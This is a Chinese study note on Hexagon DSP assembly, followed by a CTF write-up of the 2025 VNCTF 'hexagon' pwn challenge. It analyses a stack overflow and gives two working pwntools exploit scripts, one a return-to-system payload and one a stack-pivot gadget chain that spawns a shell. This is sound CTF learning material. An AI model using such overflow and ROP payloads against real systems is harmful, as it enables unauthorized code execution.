Hexagon 学习

Hexagon 是高通(Qualcomm)开发的 数字信号处理器(DSP) 架构,专为移动设备、物联网和边缘计算设计,以高效能、低功耗为核心优势。它被集成在高通骁龙(Snapdragon)系列芯片中

  • hexagon用allocframe开辟栈帧:LR压栈,FP压栈,SP减去一定数值向低地址开辟,FP设置成指向旧FP的指针。deallocframe/dealloc_return用于销毁栈帧/销毁栈帧并返回,从栈底取回FP和LR。
image-20250208213002824
  • 一共有32个32位通用寄存器,r0-r31。存在寄存器对,可以当做64位寄存器使用,如r0和r1可以合并成r1:0
  • r29-r31是别名寄存器。r29是SP,r30是FP,r31是LR寄存器。SP是栈顶寄存器,FP是栈(底)寄存器,LR是储存返回地址的寄存器。

看汇编感觉是类arm架构

主要的汇编有

1
2
3
4
5
allocframe(#0x10) #开辟栈空间
add(r0,#-0x10) #加减乘除,有返回值
call func
dealloc_return #pop and ret (类似pop,但是hexagon是么有pop滴)
memw(r1) #取指针指向的内容

例题

『2025VNCTF』hexagon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00020460                 .global vuln
.text:00020460 vuln: // CODE XREF: main+90↓p
.text:00020460 { allocframe(#0x10) }
.text:00020464 { r0 = add(pc, ##aD@pcrel) } // "%d"
.text:0002046C { r1 = add(fp, #-0x10) }
.text:00020470 { call scanf }
.text:00020474 { r0 = #0 } // fd
.text:00020478 { r1 = add(fp, #-8) } // buf
.text:0002047C { r2 = #0x10 } // nbytes
.text:00020480 { call read }
.text:00020484 { r0 = add(pc, ##aCatHomeCtfLog@pcrel) } // "cat /home/ctf/log"
.text:0002048C { call system }
.text:00020490 { nop
.text:00020494 nop
.text:00020498 nop
.text:0002049C dealloc_return }
.text:0002049C // End of function vuln

发现allocframe只开辟了0x10个字节的栈空间,然后read的起始地址是从fp-8开始的,再结合32位的4字节地址,显然有栈溢出8个字节,溢出到FP和LR的存储空间,而LR是存取返回地址的,便有劫持返回地址。

解法1-system执行

看了官方wp之后

image-20250210142817772

从libc.so中找到system,发现偏底层的system实现方式是通过posix_spawn进程创建函数(理解为fork+execve即可),通过对参数的简单分析,可以知道r1=”/bin/sh”,然后argv[] = {“sh”, “-c”, user_input, NULL};,而这个usr_input是通过fp-0x10输入的,详情自行查看posix_spawn的参数

然后回到题目发现一开始有一个scanf函数是输入fp-0x10的,那么局势就很明朗了,同时由于qemu的libc是不会改变的,因此传入一个/bin/sh的地址就行啦

libc地址的寻找:

这里是通过日志来寻找的

1
set_tid_address(1073672412,1073672412,-4,0,1072439316,67108864) = 7

而这个1073672412是指针地址,通常由libc分配的存储tid(线程id)的,从libc中寻找到对应的结构体

1
2
3
4
5
.bss:0012F0DC __thread_list_lock:.space 1             // DATA XREF: __init_tp+70↑o
.bss:0012F0DC // __post_Fork+28↑o ...
.bss:0012F0DD .space 1
.bss:0012F0DE .space 1
.bss:0012F0DF .space 1

相减获得libc_base=0x3FEC0000(算是取巧吧,因为我的qemu单步执行坏掉啦/(ㄒoㄒ)/~~)

本地环境与远程有差距,不过方法类似

1
2
3
4
5
6
7
8
9
p = process(['qemu-hexagon' , '-d', 'in_asm,exec,cpu,nochain', '-strace', '-dfilter', '0x20420+0xc0', '-D', './log', './main'])
libc_base=0x40810000
fp=0x4080f078
binsh = libc_base+0x119f7
ru(b'\n')
sl(tbs(binsh))
payload = p32(0)*2+p32(fp+8)+p32(libc_base+0xBE7C0)
s(payload)
irt()

解法2-栈迁移

对1血脚本学习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
stack_addr = 0x4080f1c8
libc_base= 0x3FEC0000
gadget1 = 0x20534 # r0 = memw(fp + #var_8) dealloc_return
gadget2 = libc_base + 0xDB2CC # r0 = memw(fp + #var_4) dealloc_return
gadget3 = libc_base + 0x54630 # r0 = memw(fp -0x10 ) dealloc_return
ret = 0x20538
bss = 0x406d0
bss = stack_addr
target = 0x1039E
call_system = 0x2048C

payload = str(0x1000)
sh.sendlineafter('Welcome back, hexagon player!\n', payload)

payload = b'a'*8 + p32(bss+8) + p32(0x20474)
sh.send(payload)

payload = b'a'*8 + p32(bss-0x30+8) + p32(0x20474)
sh.send(payload)

payload = b'/bin/sh\x00' + p32(bss-0x20+0x8) + p32(0x20474)
sh.send(payload)

payload = p32(0x4080f198) + b'bbbb' + p32(bss-0x10+0x8) + p32(0x20474)
sh.send(payload)

payload = b'sh\x00\x00' + p32(0x2048C) + p32(bss-0x10) + p32(gadget3)
sh.send(payload)

# bss-0x30 /bin/sh
# bss-0x2c xxxx
# bss-0x28 bss-0x20+8
# bss-0x24 start_read

# bss-0x20 0x4080f198
# bss-0x1c bbbb
# bss-0x18 bss-0x10+8
# bss-0x14 start_read

# bss-0x10 sh
# bss-0xc 0xdeadbeaf
# bss-8 bss-0x10
# bss-4 gadget3

# bss aaaa
# bss+4 aaaa
# bss+8 bss-0x30+8
# bss+0xc start_read


sh.interactive()

有意思的